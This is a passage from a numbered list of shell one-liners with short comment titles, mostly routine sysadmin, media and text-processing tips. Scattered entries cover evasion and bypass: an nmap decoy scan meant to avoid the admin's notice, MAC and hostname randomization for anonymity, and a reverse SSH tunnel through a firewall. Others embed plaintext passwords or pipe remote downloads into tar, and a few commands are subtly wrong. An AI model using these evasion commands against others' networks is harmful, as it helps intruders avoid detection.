  2247. ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f\t%.2f\n",num[user], user, cpu[user], mem[user]) }'
  2248.  
  2249. # lotto generator
  2250. shuf -i 1-49 | head -n6 | sort -n| xargs
  2251.  
  2252. # create iso image from a directory
  2253. mkisofs -o XYZ.iso XYZ/
  2254.  
  2255. # Check a server is up. If it isn't mail me.
  2256. ping -q -c1 -w3 brandx.jp.sme 2&>1 /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk
  2257.  
  2258. # Create an SSH connection (reverse tunnel) through your firewall.
  2259. ssh -R 2001:localhost:22 [username]@[remote server ip]
  2260.  
  2261. # Using tput to save, clear and restore the terminal contents
  2262. tput smcup; echo "Doing some things..."; sleep 2; tput rmcup
  2263.  
  2264. # Transforms a file to all uppercase.
  2265. tr '[:lower:]' '[:upper:]' <"$1"
  2266.  
  2267. # Changing the terminal title to the last shell command
  2268. trap 'echo -e "\e]0;$BASH_COMMAND\007"' DEBUG
  2269.  
  2270. # Matrix Style
  2271. check the sample output below, the command was too long :(
  2272.  
  2273. # randomize hostname and mac address, force dhcp renew. (for anonymous networking)
  2274. dhclient -r && rm -f /var/lib/dhcp3/dhclient* && sed "s=$(hostname)=REPLACEME=g" -i /etc/hosts && hostname "$(echo $RANDOM | md5sum | cut -c 1-7 | tr a-z A-Z)" && sed "s=REPLACEME=$(hostname)=g" -i /etc/hosts && macchanger -e eth0 && dhclient
  2275.  
  2276. # save date and time for each command in history
  2277. export HISTTIMEFORMAT='%F %T '
  2278.  
  2279. # Visualizing system performance data
  2280. (echo "set terminal png;plot '-' u 1:2 t 'cpu' w linespoints;"; sudo vmstat 2 10 | awk 'NR > 2 {print NR, $13}') | gnuplot > plot.png
  2281.  
  2282. # print all except first collumn
  2283. awk '{$1=""; print}'
  2284.  
  2285. # random xkcd comic
  2286. display "$(wget -q http://dynamic.xkcd.com/comic/random/ -O - | grep -Po '(?<=")http://imgs.xkcd.com/comics/[^"]+(png|jpg)')"
  2287.  
  2288. # connect via ssh using mac address
  2289. sudo arp -s 192.168.1.200 00:35:cf:56:b2:2g temp && ssh root@192.168.1.200
  2290.  
  2291. # sort lines by length
  2292. perl -lne '$l{$_}=length;END{for(sort{$l{$a}<=>$l{$b}}keys %l){print}}' < /usr/share/dict/words | tail
  2293.  
  2294. # Create a zip file ignoring .svn files
  2295. zip -r foo.zip DIR -x "*/.svn/*"
  2296.  
  2297. # Skip over .svn directories when using the
  2298. find . -name .svn -prune -o -print
  2299.  
  2300. # Sync MySQL Servers via secure SSH-tunnel
  2301. ssh -f -L3307:127.0.0.1:3306 -N -t -x user@host sleep 600 ; mk-table-sync --execute --verbose u=root,p=xxx,h=127.0.0.1,P=3307 u=root,p=xxx,h=localhost
  2302.  
  2303. # Let your computer lull you to sleep
  2304. echo {1..199}" sheep," | espeak -v english -s 80
  2305.  
  2306. # Download all Phrack .tar.gzs
  2307. curl http://www.phrack.org/archives/tgz/phrack[1-67].tar.gz -o phrack#1.tar.gz
  2308.  
  2309.  
  2310.  
  2311. # Get the size of all the directories in current directory (Sorted Human Readable)
  2312. sudo du -ks $(ls -d */) | sort -nr | cut -f2 | xargs -d '\n' du -sh 2> /dev/null
  2313.  
  2314. # insert ip range using vim
  2315. :for i in range(1,255) | .put='192.168.0.'.i | endfor
  2316.  
  2317. # return external ip
  2318. wget -O - -q icanhazip.com
  2319.  
  2320. # Regex to remove HTML-Tags from a file
  2321. sed -e :a -e 's/<[^>]*>//g;/</N;//ba' index.html
  2322.  
  2323. # find the biggest files recursively, no matter how many
  2324. find . -type f -printf '%20s %p\n' | sort -n | cut -b22- | tr '\n' '\000' | xargs -0 ls -laSr
  2325.  
  2326. # Sum columns from CSV column $COL
  2327. awk -F ',' '{ x = x + $4 } END { print x }' test.csv
  2328.  
  2329. # Copy ssh keys to user@host to enable password-less ssh logins.
  2330. ssh-copy-id user@host
  2331.  
  2332. # sed : using colons as separators instead of forward slashes
  2333. sed "s:/old/direcory/:/new/directory/:" <file>
  2334.  
  2335. # Send email with one or more binary attachments
  2336. echo "Body goes here" | mutt -s "A subject" -a /path/to/file.tar.gz recipient@example.com
  2337.  
  2338. # Alert on Mac when server is up
  2339. ping -o -i 30 HOSTNAME && osascript -e 'tell app "Terminal" to display dialog "Server is up" buttons "It?s about time" default button 1'
  2340.  
  2341. # ssh and attach to a screen in one line.
  2342. ssh -t user@host screen -x <screen name>
  2343.  
  2344. # how many packages installed on your archlinux?
  2345. pacman -Q|wc -l
  2346.  
  2347. # Delete all but latest file in a directory
  2348. ls -t1 | sed 1d | xargs rm
  2349.  
  2350. # recursive reset file/dir perms
  2351. find public_html/stuff -type d -exec chmod 755 {} + -or -type f -exec chmod 644 {} +
  2352.  
  2353. # create directory and set owner/group/mode in one shot
  2354. install -o user -g group -m 0700 -d /path/to/newdir
  2355.  
  2356. # Search Google from the command line
  2357. curl -A Mozilla http://www.google.com/search?q=test |html2text -width 80
  2358.  
  2359. # Use a decoy while scanning ports to avoid getting caught by the sys admin :9
  2360. sudo nmap -sS 192.168.0.10 -D 192.168.0.2
  2361.  
  2362. # Display ncurses based network monitor
  2363. nload -u m eth0
  2364.  
  2365. # Move files around local filesystem with tar without wasting space using an intermediate tarball.
  2366. ( cd SOURCEDIR && tar cf - . ) | (cd DESTDIR && tar xvpf - )
  2367.  
  2368. # Search command history on bash
  2369. ctrl + r
  2370.  
  2371. # Check if network cable is plugged in and working correctly
  2372. mii-tool eth0
  2373.  
  2374. # find the 10 latest (modified) files
  2375. ls -1t | head -n10
  2376.  
  2377. # securely erase unused blocks in a partition
  2378. # cd $partition; dd if=/dev/zero of=ShredUnusedBlocks bs=512M; shred -vzu ShredUnusedBlocks
  2379.  
  2380. # Redirect incoming traffic to SSH, from a port of your choosing
  2381. iptables -t nat -A PREROUTING -p tcp --dport [port of your choosing] -j REDIRECT --to-ports 22
  2382.  
  2383. # Get all possible problems from any log files
  2384. grep -2 -iIr "err\|warn\|fail\|crit" /var/log/*
  2385.  
  2386.  
  2387.  
  2388. # Twit Amarok "now playing" song
  2389. curl -u <user>:<password> -d status="Amarok, now playing: $(dcop amarok default nowPlaying)" http://twitter.com/statuses/update.json
  2390.  
  2391. # Get pages number of the pdf file
  2392. pdfinfo Virtualization_A_Beginner_Guide.pdf | awk /Pages/
  2393.  
  2394. # Backup sda5 partition to ftp ( using pipes and gziped backup )
  2395. dd if=/dev/sda5 bs=2048 conv=noerror,sync | gzip -fc | lftp -u user,passwd domain.tld -e "put /dev/stdin -o backup-$(date +%Y%m%d%H%M).gz; quit"
  2396.  
  2397. # View and review the system process tree.
  2398. pstree -Gap | less -r
  2399.  
  2400. # combine `mkdir foo && cd foo` into a single function `mcd foo`
  2401. function mcd() { [ -n "$1" ] && mkdir -p "$@" && cd "$1"; }
  2402.  
  2403. # Prevent shell autologout
  2404. unset TMOUT
  2405.  
  2406. # Get video information with ffmpeg
  2407. ffmpeg -i filename.flv
  2408.  
  2409. # Go to the previous sibling directory in alphabetical order
  2410. cd ../"$(ls -F ..|grep '/'|grep -B1 `basename $PWD`|head -n 1)"
  2411.  
  2412. # Hostname tab-completion for ssh
  2413. function autoCompleteHostname() { local hosts; local cur; hosts=($(awk '{print $1}' ~/.ssh/known_hosts | cut -d, -f1)); cur=${COMP_WORDS[COMP_CWORD]}; COMPREPLY=($(compgen -W '${hosts[@]}' -- $cur )) } complete -F autoCompleteHostname ssh
  2414.  
  2415. # Consolle based network interface monitor
  2416. ethstatus -i eth0
  2417.  
  2418. # Add a shadow to picture
  2419. convert {$file_in} \( +clone -background black -shadow 60x5+10+10 \) +swap -background none -layers merge +repage {$file_out}
  2420.  
  2421. # Smart renaming
  2422. ls | sed -n -r 's/banana_(.*)_([0-9]*).asc/mv & banana_\2_\1.asc/gp' | sh
  2423.  
  2424. # Releases Firefox of a still running message
  2425. rm ~/.mozilla/firefox/<profile_dir>/.parentlock
  2426.  
  2427. # synchronicity
  2428. cal 09 1752
  2429.  
  2430. # List files opened by a PID
  2431. lsof -p 15857
  2432.  
  2433. # vi keybindings with info
  2434. info --vi-keys
  2435.  
  2436. # dstat - a mix of vmstat, iostat, netstat, ps, sar...
  2437. dstat -ta
  2438.  
  2439. # backup and synchronize entire remote folder locally (curlftpfs and rsync over FTP using FUSE FS)
  2440. curlftpfs ftp://YourUsername:YourPassword@YourFTPServerURL /tmp/remote-website/ && rsync -av /tmp/remote-website/* /usr/local/data_latest && umount /tmp/remote-website
  2441.  
  2442. # Find brute force attempts on SSHd
  2443. cat /var/log/secure | grep sshd | grep Failed | sed 's/invalid//' | sed 's/user//' | awk '{print $11}' | sort | uniq -c | sort -n
  2444.  
  2445. # Show a curses based menu selector
  2446. whiptail --checklist "Simple checkbox menu" 11 35 5 tag item status repeat tags 1
  2447.  
  2448. # Use a Gmail virtual disk (GmailFS) on Ubuntu
  2449. mount.gmailfs none /mount/path/ [-o username=USERNAME[,password=PASSWORD][,fsname=VOLUME]] [-p]
  2450.  
  2451. # Download from Rapidshare Premium using wget - Part 2
  2452. wget -c -t 1 --load-cookies ~/.cookies/rapidshare <URL>
  2453.  
  2454. # Make the "tree" command pretty and useful by default
  2455. alias tree="tree -CAFa -I 'CVS|*.*.package|.svn|.git' --dirsfirst"
  2456.  
  2457. # Clean swap area after using a memory hogging application
  2458. swapoff -a ; swapon -a
  2459.  
  2460. # run php code inline from the command line
  2461. php -r 'echo strtotime("2009/02/13 15:31:30")."\n";'
  2462.  
  2463.  
  2464.  
  2465. # Remux an avi video if it won't play easily on your media device
  2466. mencoder -ovc copy -oac copy -of avi -o remuxed.avi original.avi
  2467.  
  2468. # Edit the last or previous command line in an editor then execute
  2469. fc [history-number]
  2470.  
  2471. # List the largest directories & subdirectoties in the current directory sorted from largest to smallest.
  2472. du -k | sort -r -n | more
  2473.  
  2474. # Transfer large files/directories with no overhead over the network
  2475. ssh user@host "cd targetdir; tar cfp - *" | dd of=file.tar
  2476.  
  2477. # Quickly generate an MD5 hash for a text string using OpenSSL
  2478. echo -n 'text to be encrypted' | openssl md5
  2479.  
  2480. # Quickly add user accounts to the system and force a password change on first login
  2481. for name in larry moe schemp; do useradd $name; echo 'password' | passwd --stdin $name; chage -d 0 $name; done
  2482.  
  2483. # Edit the Last Changed File
  2484. vim $( ls -t | head -n1 )
  2485.  
  2486. # Fast command-line directory browsing
  2487. function cdls { cd $1; ls; }
  2488.  
  2489. # prevents replace an existing file by mistake
  2490. set -o noclobber
  2491.  
  2492. # Download an entire ftp directory using wget
  2493. wget -r ftp://user:pass@ftp.example.com
  2494.  
  2495. # Bash prompt with user name, host, history number, current dir and just a touch of color
  2496. export PS1='\n[\u@\h \! \w]\n\[\e[32m\]$ \[\e[0m\]'
  2497.  
  2498. # Create a bunch of dummy files for testing
  2499. touch {1..10}.txt
  2500.  
  2501. # Quickly analyze apache logs for top 25 most common IP addresses.
  2502. cat $(ls -tr | tail -1) | awk '{ a[$1] += 1; } END { for(i in a) printf("%d, %s\n", a[i], i ); }' | sort -n | tail -25
  2503.  
  2504. # Redefine the cd command's behavior
  2505. cd() { builtin cd "${@:-$HOME}" && ls; }
  2506.  
  2507. # Print text string vertically, one character per line.
  2508. echo Print text vertically|sed 's/\(.\)/\1\n/g'
  2509.  
  2510. # Check for login failures and summarize
  2511. zgrep "Failed password" /var/log/auth.log* | awk '{print $9}' | sort | uniq -c | sort -nr | less
  2512.  
  2513. # awk using multiple field separators
  2514. awk -F "=| "
  2515.  
  2516. # Shows size of dirs and files, hidden or not, sorted.
  2517. du -cs * .[^\.]* | sort -n
  2518.  
  2519. # Install a local RPM package from your desktop, then use the YUM repository to resolve its dependencies.
  2520. yum localinstall /path/to/package.rpm
  2521.  
  2522. # Use mplayer to save video streams to a file
  2523. mplayer -dumpstream -dumpfile "yourfile" -playlist "URL"
  2524.  
  2525. # Add forgotten changes to the last git commit
  2526. git commit --amend
  2527.  
  2528. # Getting information about model no. of computer
  2529. dmidecode | grep -i prod
  2530.  
  2531. # skip broken piece of a loop but not exit the loop entirely
  2532. ctrl + \
  2533.  
  2534. # Get your Tweets from the command line
  2535. curl -s -u user:password 'http://twitter.com/statuses/friends_timeline.xml?count=5' | xmlstarlet sel -t -m '//status' -v 'user/screen_name' -o ': ' -v 'text' -n
  2536.  
  2537. # See the 10 programs the most used
  2538. sed -e "s/| /\n/g" ~/.bash_history | cut -d ' ' -f 1 | sort | uniq -c | sort -nr | head
  2539.  
  2540.  
  2541.  
  2542. # ssh -A user@somehost
  2543. ssh -A user@somehost
  2544.  
  2545. # which process has a port open
  2546. lsof -i :80
  2547.  
  2548. # Search previous commands from your .bash_history
  2549. ctrl + r
  2550.  
  2551. # vimdiff local and remote files via ssh
  2552. vimdiff /path/to/file scp://remotehost//path/to/file
  2553.  
  2554. # Find broken symlinks
  2555. find . -type l ! -exec test -e {} \; -print
  2556.  
  2557. # Extract a remote tarball in the current directory without having to save it locally
  2558. curl http://example.com/foo.tar.gz | tar zxvf -
  2559.  
  2560. # Unencrypted voicechat
  2561. On PC1: nc -l -p 6666 > /dev/dsp On PC2: cat /dev/dsp | nc <PC1's IP> 6666
  2562.  
  2563. # Display IPs accessing your Apache webserver.
  2564. egrep -o '\b[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\b' access.log | sort -u
  2565.  
  2566. # Parse a quoted .csv file
  2567. awk -F'^"|", "|"$' '{ print $2,$3,$4 }' file.csv
  2568.  
  2569. # Convert mysql database from latin1 to utf8
  2570. mysqldump --add-drop-table -uroot -p "DB_name" | replace CHARSET=latin1 CHARSET=utf8 | iconv -f latin1 -t utf8 | mysql -uroot -p "DB_name"
  2571.  
  2572. # Click on a GUI window and show its process ID and command used to run the process
  2573. xprop | awk '/PID/ {print $3}' | xargs ps h -o pid,cmd
  2574.  
  2575. # Does a full update and cleaning in one line
  2576. sudo apt-get update && sudo apt-get upgrade && sudo apt-get autoclean && sudo apt-get autoremove
  2577.  
  2578. # Change string in many files at once and more.
  2579. find . -type f -exec grep -l XXX {} \;|tee /tmp/fileschanged|xargs perl -pi.bak -e 's/XXX/YYY/g'
  2580.  
  2581. # Concatenate (join) video files
  2582. mencoder -forceidx -ovc copy -oac copy -o output.avi video1.avi video2.avi
  2583.  
  2584. # Octal ls
  2585. ls -l | awk '{k=0;for(i=0;i<=8;i++)k+=((substr($1,i+2,1)~/[rwx]/)*2^(8-i));if(k)printf("%0o ",k);print}'
  2586.  
  2587. # Find 'foo' string inside files
  2588. find . -type f -print | xargs grep foo
  2589.  
  2590. # recurisvely md5 all files in a tree
  2591. find ./backup -type f -print0 | xargs -0 md5sum > /checksums_backup.md5
  2592.  
  2593. # Removes file with a dash in the beginning of the name
  2594. rm -- --myfile
  2595.  
  2596. # Display any tcp connections to apache
  2597. for i in `ps aux | grep httpd | awk '{print $2}'`; do lsof -n -p $i | grep ESTABLISHED; done;
  2598.  
  2599. # Quickly get summary of sizes for files and folders
  2600. du -sh *
  2601.  
  2602. # Smart `cd`.. cd to the file directory if you try to cd to a file
  2603. cd() { if [ -z "$1" ]; then command cd; else if [ -f "$1" ]; then command cd $(dirname "$1"); else command cd "$1"; fi; fi; }
  2604.  
  2605. # Preserve colors when piping tree to less
  2606. tree -C | less -R
  2607.  
  2608. # bash pause command
  2609. read -sn1 -p "Press any key to continue..."; echo
  2610.  
  2611. # most used commands in history (comprehensive)
  2612. history | perl -F"\||<\(|;|\`|\\$\(" -alne 'foreach (@F) { print $1 if /\b((?!do)[a-z]+)\b/i }' | sort | uniq -c | sort -nr | head
  2613.  
  2614. # Sync the date of one server to that of another.
  2615. sudo date -s "$(ssh user@server.com "date -u")"
  2616.  
  2617.  
  2618.  
  2619. # Simple addicting bash game.
  2620. count="1" ; while true ; do read next ; if [[ "$next" = "$last" ]] ; then count=$(($count+1)) ; echo "$count" ; else count="1" ; echo $count ; fi ; last="$next" ; done
  2621.  
  2622. # Show the PATH, one directory per line
  2623. printf ${PATH//:/\\n}
  2624.  
  2625. # Print a row of 50 hyphens
  2626. seq -s" " -50 -1 | tr -dc -
  2627.  
  2628. # Update zone file Serial numbers
  2629. sed -i 's/20[0-1][0-9]\{7\}/'`date +%Y%m%d%I`'/g' *.db
  2630.  
  2631. # Multi-line grep
  2632. perl -ne 'BEGIN{undef $/}; print "$ARGV\t$.\t$1\n" if m/(first line.*\n.*second line)/mg'
  2633.  
  2634. # Group OR'd commands where you expect only one to work
  2635. ( zcat $FILE || gzcat $FILE || bzcat2 $FILE ) | less
  2636.  
  2637. # Search $PATH for a command or something similar
  2638. find ${PATH//:/ } -name \*bash\*
  2639.  
  2640. # See a full last history by expanding logrotated wtmp files
  2641. ( last ; ls -t /var/log/wtmp-2* | while read line ; do ( rm /tmp/wtmp-junk ; zcat $line 2>/dev/null || bzcat $line ) > /tmp/junk-wtmp ; last -f /tmp/junk-wtmp ; done ) | less
  2642.  
  2643. # List .log files open by a pid
  2644. lsof -p 1234 | grep -E "\.log$" | awk '{print $NF}'
  2645.  
  2646. # Save xkcd to a pdf with captions
  2647. curl -sL xkcd.com | grep '<img [^>]*/><br/>' | sed -r 's|<img src="(.*)" title="(.*)" alt="(.*)" /><br/>|\1\t\2\t\3|' > /tmp/a; curl -s $(cat /tmp/a | cut -f1) | convert - -gravity south -draw "text 0,0 \"$(cat /tmp/a | cut -f2)\"" pdf:- > xkcd.pdf
  2648.  
  2649. # Using mplayer to play the audio only but suppress the video
  2650. mplayer -vo null something.mpg
  2651.  
  2652. # Google Spell Checker
  2653. spellcheck(){ typeset y=$@;curl -sd "<spellrequest><text>$y</text></spellrequest>" https://google.com/tbproxy/spell|sed -n '/s="[0-9]"/{s/<[^>]*>/ /g;s/\t/ /g;s/ *\(.*\)/Suggestions: \1\n/g;p}'|tee >(grep -Eq '.*'||echo -e "OK");}
  2654.  
  2655. # Get the weather forecast for the next 24 to 48 for your location.
  2656. weather(){ curl -s "http://api.wunderground.com/auto/wui/geo/ForecastXML/index.xml?query=${@:-<YOURZIPORLOCATION>}"|perl -ne '/<title>([^<]+)/&&printf "%s: ",$1;/<fcttext>([^<]+)/&&print $1,"\n"';}
  2657.  
  2658. # A function to find the newest file in a directory
  2659. newest () { find ${1:-\.} -type f |xargs ls -lrt ; }
  2660.  
  2661. # How to backup hard disk timely?
  2662. rsync -a --link-dest=/media/backup/$HOSTNAME/$PREVDATE '--exclude=/[ps][ry][os]' --exclude=/media/backup/$HOSTNAME / /media/backup/$HOSTNAME/$DATE/
  2663.  
  2664. # Replace spaces in filenames with underscores
  2665. rename 's/ /_/g' *
  2666.  
  2667. # Erase a word
  2668. <CTRL+w>
  2669.  
  2670. # Do some Perl learning...
  2671. podwebserver& sleep 2; elinks 'http://127.0.0.1:8020'
  2672.  
  2673. # A command to post a message to Twitter that includes your geo-location and a short URL.
  2674. curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s tinyurl.com/api-create.php?url=URL_GOES_HERE) $(curl -s api.hostip.info/get_html.php?ip=$(curl ip.appspot.com))" -d source="cURL" twitter.com/statuses/update.json -o /dev/null
  2675.  
  2676. # Finding all files on local file system with SUID and SGID set
  2677. find / \( -local -o -prune \) \( -perm -4000 -o -perm -2000 \) -type f -exec ls -l {} \;
  2678.  
  2679. # Replace space in filename
  2680. rename "s/ *//g" *.jpg
  2681.  
  2682. # Check reverse DNS
  2683. dig +short -x {ip}
  2684.  
  2685. # Extract tarball from internet without local saving
  2686. wget -O - http://example.com/a.gz | tar xz
  2687.  
  2688. # Another Matrix Style Implementation
  2689. COL=$(( $(tput cols) / 2 )); clear; tput setaf 2; while :; do tput cup $((RANDOM%COL)) $((RANDOM%COL)); printf "%$((RANDOM%COL))s" $((RANDOM%2)); done
  2690.  
  2691. # Create mails array from .mutt-alias file.
  2692. muttlst(){ for i in $*;do mails+=($(grep -wi "$i" .mutt-alias|awk '{print $NF}'));done;}
  2693.  
  2694.  
  2695.  
  2696. # Optimal way of deleting huge numbers of files
  2697. find /path/to/dir -type f -delete
  2698.  
  2699. # Update twitter via curl (and also set the "from" bit)
  2700. curl -u twitter-username -d status="Hello World, Twitter!" -d source="cURL" http://twitter.com/statuses/update.xml
  2701.  
  2702. # convert pdf to graphic file format (jpg , png , tiff ... )
  2703. convert sample.pdf sample.jpg
  2704.  
  2705. # Match a URL
  2706. egrep 'https?://([[:alpha:]]([-[:alnum:]]+[[:alnum:]])*\.)+[[:alpha:]]{2,3}(:\d+)?(/([-\w/_\.]*(\?\S+)?)?)?'
  2707.  
  2708. # set your ssd disk as a non-rotating medium
  2709. sudo echo 0 > /sys/block/sdb/queue/rotational
  2710.  
  2711. # List all symbolic links in current directory
  2712. find /path -type l
  2713.  
  2714. # Mount a Windows share on the local network (Ubuntu) with user rights and use a specific samba user
  2715. sudo mount -t cifs -o user,username="samba username" //$ip_or_host/$sharename /mnt
  2716.  
  2717. # Find all dot files and directories
  2718. echo .*
  2719.  
  2720. # List all available commands (bash, ksh93)
  2721. printf "%s\n" ${PATH//:/\/* }
  2722.  
  2723. # Merge Two or More PDFs into a New Document
  2724. pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf
  2725.  
  2726. # check the status of 'dd' in progress
  2727. watch -n 10 killall -USR1 dd
  2728.  
  2729. # Upload images to omploader.org from the command line.
  2730. ompload() { curl -# -F file1=@"$1" http://omploader.org/upload|awk '/Info:|File:|Thumbnail:|BBCode:/{gsub(/<[^<]*?\/?>/,"");$1=$1;print}';}
  2731.  
  2732. # Play random music from blip.fm
  2733. mpg123 `curl -s http://blip.fm/all | sed -e 's#"#\n#g' | grep mp3$ | xargs`
  2734.  
  2735. # Test speaker channels
  2736. speaker-test -D plug:surround51 -c 6 -l 1 -t wav
  2737.  
  2738. # Go up multiple levels of directories quickly and easily.
  2739. cd() { if [[ "$1" =~ ^\.\.+$ ]];then local a dir;a=${#1};while [ $a -ne 1 ];do dir=${dir}"../";((a--));done;builtin cd $dir;else builtin cd "$@";fi ;}
  2740.  
  2741. # enumerate with padding
  2742. echo {001..5}
  2743.  
  2744. # Auto Rotate Cube (compiz)
  2745. wmctrl -o 2560,0 ;sleep 2 ; echo "FIRE 001" | osd_cat -o 470 -s 8 -c red -d 10 -f -*-bitstream\ vera\ sans-*-*-*--250-*-*-*-*-*-*-* ; sleep 1; wmctrl -o 0,0
  2746.  
  2747. # Turn On/Off Keyboard LEDs via commandline
  2748. xset led 3
  2749.  
  2750. # rsync + find
  2751. find . -name "whatever.*" -print0 | rsync -av --files-from=- --from0 ./ ./destination/
  2752.  
  2753. # Function to output an ASCII character given its decimal equivalent
  2754. chr () { printf \\$(($1/64*100+$1%64/8*10+$1%8)); }
  2755.  
  2756. # Display the history and optionally grep
  2757. h() { if [ -z "$1" ]; then history; else history | grep "$@"; fi; }
  2758.  
  2759. # List your largest installed packages.
  2760. dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}' bash -c 'if [ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c --files0-from - | tail -1 | sed "s/total/$pkg/"; done
  2761.  
  2762. # Verify MD5SUMS but only print failures
  2763. md5sum --check MD5SUMS | grep -v ": OK"
  2764.  
  2765. # Change newline to space in a file just using echo
  2766. echo $(</tmp/foo)
  2767.  
  2768. # send kernel log (dmesg) notifications to root via cron
  2769. (crontab -l; echo '* * * * * dmesg -c'; ) | crontab -
  2770.  
  2771.  
  2772.  
  2773. # create pdf files from text files or stdout.
  2774. enscript jrandom.txt -o - | ps2pdf - ~/tmp/jrandom.pdf (from file) or: ls | enscript -o - | ps2pdf - ~/tmp/ls.pdf (from stdout)
  2775.  
  2776. # Install a LAMP server in a Debian based distribution
  2777. sudo tasksel install lamp-server
  2778.  
  2779. # Backup all MySQL Databases to individual files
  2780. mysql -e 'show databases' | sed -n '2,$p' | xargs -I DB 'mysqldump DB > DB.sql'
  2781.  
  2782. # convert .bin / .cue into .iso image
  2783. bchunk IMAGE.bin IMAGE.cue IMAGE.iso
  2784.  
  2785. # Get the total length of all video / audio in the current dir (and below) in H:m:s
  2786. find -type f -name "*.avi" -print0 | xargs -0 mplayer -vo dummy -ao dummy -identify 2>/dev/null | perl -nle '/ID_LENGTH=([0-9\.]+)/ && ($t +=$1) && printf "%02d:%02d:%02d\n",$t/3600,$t/60%60,$t%60' | tail -n 1
  2787.  
  2788. # Upgrade all perl modules via CPAN
  2789. perl -MCPAN -e 'CPAN::Shell->install(CPAN::Shell->r)'
  2790.  
  2791. # Remove invalid key from the known_hosts file for the IP address of a host
  2792. ssh-keygen -R `host hostname | cut -d " " -f 4`
  2793.  
  2794. # Search back through previous commands
  2795. Ctrl-R <search-text>
  2796.  
  2797. # for loop with leading zero in bash 3
  2798. seq -s " " -w 3 20
  2799.  
  2800. # Show apps that use internet connection at the moment. (Multi-Language)
  2801. netstat -lantp | grep -i stab | awk -F/ '{print $2}' | sort | uniq
  2802.  
  2803. # Start an X app remotely
  2804. ssh -f user@remote.ip DISPLAY=:0.0 smplayer movie.avi
  2805.  
  2806. # Dump dvd from a different machine onto this one.
  2807. ssh user@machine_A dd if=/dev/dvd0 > dvddump.iso
  2808.  
  2809. # Quick and dirty convert to flash
  2810. ffmpeg -i inputfile.mp4 outputfile.flv
  2811.  
  2812. # Ignore a directory in SVN, permanently
  2813. svn propset svn:ignore "*" tool/templates_c; svn commit -m "Ignoring tool/templates_c"
  2814.  
  2815. # Share your terminal session (remotely or whatever)
  2816. screen -x
  2817.  
  2818. # Finding files with different extensions
  2819. find . -regex '.*\(h\|cpp\)'
  2820.  
  2821. # alias to close terminal with :q
  2822. alias ':q'='exit'
  2823.  
  2824. # How to copy CD/DVD into hard disk (.iso)
  2825. dd if=/dev/cdrom of=whatever.iso
  2826.  
  2827. # Who needs pipes?
  2828. B <<< $(A)
  2829.  
  2830. # Download Apple movie trailers
  2831. wget -U "QuickTime/7.6.2 (qtver=7.6.2;os=Windows NT 5.1Service Pack 3)" `echo http://movies.apple.com/movies/someHDmovie_720p.mov | sed 's/\([0-9][0-9]\)0p/h\10p/'`
  2832.  
  2833. # Unlock your KDE4.3 session remotely
  2834. qdbus org.kde.screenlocker /MainApplication quit
  2835.  
  2836. # View Processeses like a fu, fu
  2837. command ps -Hacl -F S -A f
  2838.  
  2839. # Get the 10 biggest files/folders for the current direcotry
  2840. du -sk * |sort -rn |head
  2841.  
  2842. # Silently Execute a Shell Script that runs in the background and won't die on HUP/logout
  2843. nohup /bin/sh myscript.sh 1>&2 &>/dev/null 1>&2 &>/dev/null&
  2844.  
  2845. # Copy all documents PDF in disk for your home directory
  2846. find / -name "*.pdf" -exec cp -t ~/Documents/PDF {} +
  2847.  
  2848.  
  2849.  
  2850. # Convert filenames from ISO-8859-1 to UTF-8
  2851. convmv -r -f ISO-8859-1 -t UTF-8 --notest *
  2852.  
  2853. # Check which files are opened by Firefox then sort by largest size.
  2854. FFPID=$(pidof firefox-bin) && lsof -p $FFPID | awk '{ if($7>0) print ($7/1024/1024)" MB -- "$9; }' | grep ".mozilla" | sort -rn
  2855.  
  2856. # grep certain file types recursively
  2857. grep -r --include="*.[ch]" pattern .
  2858.  
  2859. # Get a regular updated list of zombies
  2860. watch "ps auxw | grep [d]efunct"
  2861.  
  2862. # Check if a domain is available and get the answer in just one line
  2863. whois domainnametocheck.com | grep match
  2864.  
  2865. # Remove newlines from output
  2866. grep . filename
  2867.  
  2868. # Get the size of all the directories in current directory
  2869. du --max-depth=1
  2870.  
  2871. # Sum columns from CSV column $COL
  2872. perl -ne 'split /,/ ; $a+= $_[3]; END {print $a."\n";}' -f ./file.csv
  2873.  
  2874. # Conficker Detection with NMAP
  2875. nmap -PN -d -p445 --script=smb-check-vulns --script-args=safe=1 IP-RANGES
  2876.  
  2877. # find and delete empty directories recursively
  2878. find . -depth -type d -empty -exec rmdir -v {} +
  2879.  
  2880. # create an incremental backup of a directory using hard links
  2881. rsync -a --delete --link-dest=../lastbackup $folder $dname/
  2882.  
  2883. # How many files in the current directory ?
  2884. find . -maxdepth 1 -type f | wc -l
  2885.  
  2886. # Get Futurama quotations from slashdot.org servers
  2887. echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | egrep "Bender|Fry" | sed "s/X-//"
  2888.  
  2889. # Change the case of a single word in vim
  2890. g~w
  2891.  
  2892. # Find the dates your debian/ubuntu packages were installed.
  2893. ls /var/lib/dpkg/info/*.list -lht |less
  2894.  
  2895. # Follow the most recently updated log files
  2896. ls -drt /var/log/* | tail -n5 | xargs sudo tail -n0 -f
  2897.  
  2898. # vmstat/iostat with timestamp
  2899. vmstat 1 | awk '{now=strftime("%Y-%m-%d %T "); print now $0}'
  2900.  
  2901. # Matrix Style
  2902. LC_ALL=C tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
  2903.  
  2904. # Update dyndns.org with your external IP.
  2905. curl -v -k -u user:password "https://members.dyndns.org/nic/update?hostname=<your_domain_name_here>&myip=$(curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g')&wildcard=NOCHG&mx=NOCHG&backmx=NOCHG"
  2906.  
  2907. # Get the canonical, absolute path given a relative and/or noncanonical path
  2908. readlink -f ../super/symlink_bon/ahoy
  2909.  
  2910. # Migrate existing Ext3 filesystems to Ext4
  2911. tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition
  2912.  
  2913. # Apply substitution only on the line following a marker
